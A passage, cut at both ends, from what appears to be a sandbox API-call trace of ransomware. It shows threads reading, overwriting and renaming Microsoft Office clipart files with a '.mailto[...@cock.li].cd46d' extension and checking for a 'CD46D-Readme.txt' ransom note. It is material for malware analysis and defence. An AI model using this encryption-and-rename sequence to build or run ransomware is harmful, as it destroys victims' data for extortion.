out: Seed=0xf0cf84c) returned 0x7c0b6e39 [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x198d4eb1 [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0xe0b65bc [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x4690e6b3 [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x5716f17a [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x228c58c7 [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x1f48df1a [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0xcdf49a2 [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x51a6c96c [0061.233] RtlRandomEx (in: Seed=0xf0cf84c | out: Seed=0xf0cf84c) returned 0x33456297 [0061.245] ReadFile (in: hFile=0x124c, lpBuffer=0x19c682c8, nNumberOfBytesToRead=0x1c30, lpNumberOfBytesRead=0xf0cf83c, lpOverlapped=0x0 | out: lpBuffer=0x19c682c8*, lpNumberOfBytesRead=0xf0cf83c*=0x1c30, lpOverlapped=0x0) returned 1 [0061.246] SetFilePointerEx (in: hFile=0x124c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.246] WriteFile (in: hFile=0x124c, lpBuffer=0x19c74ad0*, nNumberOfBytesToWrite=0x1c30, lpNumberOfBytesWritten=0xf0cf838, lpOverlapped=0x0 | out: lpBuffer=0x19c74ad0*, lpNumberOfBytesWritten=0xf0cf838*=0x1c30, lpOverlapped=0x0) returned 1 [0064.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9200 [0064.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec91d8 [0064.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec91d8) returned 1 [0064.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c74ad0) returned 1 [0064.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19c682c8) returned 1 [0064.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418a28) returned 1 [0064.505] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c090) returned 1 [0064.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x97ceb70 [0064.505] SetFilePointerEx (in: hFile=0x124c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.505] WriteFile (in: hFile=0x124c, lpBuffer=0x12d7c508*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xf0cf8a0, lpOverlapped=0x0 | out: lpBuffer=0x12d7c508*, lpNumberOfBytesWritten=0xf0cf8a0*=0x109, lpOverlapped=0x0) returned 1 [0064.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7c508) returned 1 [0064.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceae0) returned 1 [0064.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec91d8) returned 1 [0064.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb70) returned 1 [0064.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9200) returned 1 [0064.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9390) returned 1 [0064.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9430) returned 1 [0064.507] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9458) returned 1 [0064.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00470 [0064.507] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" [0064.507] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0064.507] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf0cf858, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0064.507] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x12cf96e0 [0064.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12cf96e0) returned 1 [0064.508] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d79e0) returned 1 [0064.508] NtQueryInformationFile (in: FileHandle=0x124c, IoStatusBlock=0xf0cf864, FileInformation=0xf0cf83c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf0cf864, FileInformation=0xf0cf83c) returned 0x0 [0064.509] NtSetInformationFile (FileHandle=0x124c, IoStatusBlock=0xf0cf864, FileInformation=0xf0cf83c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0064.510] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0064.510] FlushFileBuffers (hFile=0x124c) returned 1 [0066.224] CloseHandle (hObject=0x124c) Thread: id = 1042 os_tid = 0x8c4 [0056.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0060.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF", dwFileAttributes=0x20) returned 1 [0060.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x750 [0060.881] GetFileSizeEx (in: hFile=0x750, lpFileSize=0x3aeff08 | out: lpFileSize=0x3aeff08*=14873) returned 1 [0060.882] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x3a15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.882] ReadFile (in: hFile=0x750, lpBuffer=0x3aefe8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3aefe88, lpOverlapped=0x0 | out: lpBuffer=0x3aefe8c*, lpNumberOfBytesRead=0x3aefe88*=0x4, lpOverlapped=0x0) returned 1 [0060.883] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a30 [0060.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8aa8 [0060.883] NtQuerySystemTime (in: CurrentTime=0x3aefe68 | out: CurrentTime=0x3aefe68*=132174898248636000) returned 0x0 [0060.883] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x19c2ce7d [0060.883] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0xbb4050c [0060.883] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x552bd2e [0060.883] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0xfe1c94e [0060.883] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x59e6ec30 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x60fed281 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x3f83d92 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x4c1bbf53 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x317e90ea [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x4177b636 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x16559e6d [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x2b7dc4cb [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x62df0ce [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x1882a02d [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x6f5f124a [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x432dc2d1 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x57e7e027 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0xdd383a8 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x69cd2620 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x46cbe2b [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x437c8afa [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x767dc6d7 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x29b7bd7f [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x36cd49e6 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x48f0bb3f [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x413e3a26 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x6164bae2 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x381c6ba2 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x6d2fae64 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x7ea61e57 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0x74015716 [0060.884] RtlRandomEx (in: Seed=0x3aefe74 | out: Seed=0x3aefe74) returned 0xbdaf044 [0060.897] ReadFile (in: hFile=0x750, lpBuffer=0x19a74188, nNumberOfBytesToRead=0x3a19, lpNumberOfBytesRead=0x3aefe64, lpOverlapped=0x0 | out: lpBuffer=0x19a74188*, lpNumberOfBytesRead=0x3aefe64*=0x3a19, lpOverlapped=0x0) returned 1 [0060.898] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.898] WriteFile (in: hFile=0x750, lpBuffer=0x19a80990*, nNumberOfBytesToWrite=0x3a19, lpNumberOfBytesWritten=0x3aefe60, lpOverlapped=0x0 | out: lpBuffer=0x19a80990*, lpNumberOfBytesWritten=0x3aefe60*=0x3a19, lpOverlapped=0x0) returned 1 [0061.387] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428988 [0061.387] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec97a0 [0061.387] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec97a0) returned 1 [0061.387] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a80990) returned 1 [0061.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19a74188) returned 1 [0061.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5e68) returned 1 [0061.388] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c78) returned 1 [0061.388] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e01b0 [0061.388] SetFilePointerEx (in: hFile=0x750, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.388] WriteFile (in: hFile=0x750, lpBuffer=0x12d7d228*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x3aefec8, lpOverlapped=0x0 | out: lpBuffer=0x12d7d228*, lpNumberOfBytesWritten=0x3aefec8*=0x109, lpOverlapped=0x0) returned 1 [0061.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d7d228) returned 1 [0061.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e01e0) returned 1 [0061.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec97a0) returned 1 [0061.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e01b0) returned 1 [0061.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428988) returned 1 [0061.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8a30) returned 1 [0061.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8ad0) returned 1 [0061.479] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8af8) returned 1 [0061.479] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00880 [0061.479] wcscpy (in: _Dest=0x5e00880, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" [0061.480] wcscat (in: _Dest=0x5e00880, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.mailto[2Hamlampampom@cock.li].cd46d" [0061.480] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3aefe80, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.480] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x424230 [0061.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.580] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x456010) returned 1 [0061.580] NtQueryInformationFile (in: FileHandle=0x750, IoStatusBlock=0x3aefe8c, FileInformation=0x3aefe64, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3aefe8c, FileInformation=0x3aefe64) returned 0x0 [0061.580] NtSetInformationFile (FileHandle=0x750, IoStatusBlock=0x3aefe8c, FileInformation=0x3aefe64, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00880) returned 1 [0061.582] FlushFileBuffers (hFile=0x750) returned 1 [0062.199] CloseHandle (hObject=0x750) returned 1 [0062.669] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdf80 [0062.669] wcscpy (in: _Dest=0x97cdf80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0062.669] wcscat (in: _Dest=0x97cdf80, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" [0062.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CD46D-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cd46d-readme.txt")) returned 0x20 [0063.079] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cdf80) returned 1 [0063.079] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4467f8) returned 1 Thread: id = 1043 os_tid = 0xc80 [0056.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif")) returned 0x20 [0060.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF", dwFileAttributes=0x20) returned 1 [0060.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x748 [0060.848] GetFileSizeEx (in: hFile=0x748, lpFileSize=0xf01f81c | out: lpFileSize=0xf01f81c*=6684) returned 1 [0060.848] SetFilePointerEx (in: hFile=0x748, liDistanceToMove=0x1a18, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.848] ReadFile (in: hFile=0x748, lpBuffer=0xf01f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf01f79c, lpOverlapped=0x0 | out: lpBuffer=0xf01f7a0*, lpNumberOfBytesRead=0xf01f79c*=0x4, lpOverlapped=0x0) returned 1 [0060.850] SetFilePointerEx (in: hFile=0x748, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.850] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.850] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8940 [0060.850] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec89b8 [0060.850] NtQuerySystemTime (in: CurrentTime=0xf01f77c | out: CurrentTime=0xf01f77c*=132174898248324000) returned 0x0 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x4198a204 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x2593be5b [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x4657ce01 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x6cd2718e [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x7ce4cd32 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x46d0bc96 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x5b017a33 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x354831d2 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x50e38cbc [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x1680772d [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x6d81be4f [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x220fa3ce [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x40ec7ef8 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x575b0fb6 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x74ddad8b [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0xb2d1556 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0xb5abd2a [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x4c8bd921 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x52a5bcac [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x11a8028f [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x3de57dc4 [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x22ecd8ad [0060.850] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x42827035 [0060.851] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x17d73d2d [0060.851] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x7a1175ae [0060.851] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x1834e10d [0060.851] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x5014dc7f [0060.851] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0xad696e6 [0060.851] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x12c19cb9 [0060.851] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x6aefb03b [0060.851] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x114ae4db [0060.851] RtlRandomEx (in: Seed=0xf01f788 | out: Seed=0xf01f788) returned 0x2d57a4ea [0060.863] ReadFile (in: hFile=0x748, lpBuffer=0x968c690, nNumberOfBytesToRead=0x1a1c, lpNumberOfBytesRead=0xf01f778, lpOverlapped=0x0 | out: lpBuffer=0x968c690*, lpNumberOfBytesRead=0xf01f778*=0x1a1c, lpOverlapped=0x0) returned 1 [0060.864] SetFilePointerEx (in: hFile=0x748, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.864] WriteFile (in: hFile=0x748, lpBuffer=0x9698e98*, nNumberOfBytesToWrite=0x1a1c, lpNumberOfBytesWritten=0xf01f774, lpOverlapped=0x0 | out: lpBuffer=0x9698e98*, lpNumberOfBytesWritten=0xf01f774*=0x1a1c, lpOverlapped=0x0) returned 1 [0066.418] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441848 [0066.418] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4417d0 [0066.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4417d0) returned 1 [0066.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9698e98) returned 1 [0066.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x968c690) returned 1 [0066.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5c88) returned 1 [0066.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402c30) returned 1 [0066.422] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x25) returned 0x4e00f0 [0066.422] SetFilePointerEx (in: hFile=0x748, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.422] WriteFile (hFile=0x748, lpBuffer=0x12d7ca80, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0xf01f7dc, lpOverlapped=0x0) Thread: id = 1044 os_tid = 0x9f0 [0056.057] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0060.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF", dwFileAttributes=0x20) returned 1 [0060.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x740 [0060.899] GetFileSizeEx (in: hFile=0x740, lpFileSize=0x34efdd0 | out: lpFileSize=0x34efdd0*=3251) returned 1 [0060.899] SetFilePointerEx (in: hFile=0x740, liDistanceToMove=0xcaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.899] ReadFile (in: hFile=0x740, lpBuffer=0x34efd54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34efd50, lpOverlapped=0x0 | out: lpBuffer=0x34efd54*, lpNumberOfBytesRead=0x34efd50*=0x4, lpOverlapped=0x0) returned 1 [0060.901] SetFilePointerEx (in: hFile=0x740, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4367c8 [0060.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8aa8 [0060.901] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b20 [0060.901] NtQuerySystemTime (in: CurrentTime=0x34efd30 | out: CurrentTime=0x34efd30*=132174898248792000) returned 0x0 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x6bb63d68 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x11a4e963 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x60960aa5 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x71d12709 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x3969e202 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x3d0a5e4f [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x18ad78ed [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x5fe94c51 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x22b1436c [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x724e587e [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x28167eb3 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x68595903 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0xe006e58 [0060.901] RtlRandomEx (in: Seed=0x34efd3c | out: Seed=0x34efd3c) returned 0x15d5142d [0060.901] RtlRandomEx (in: 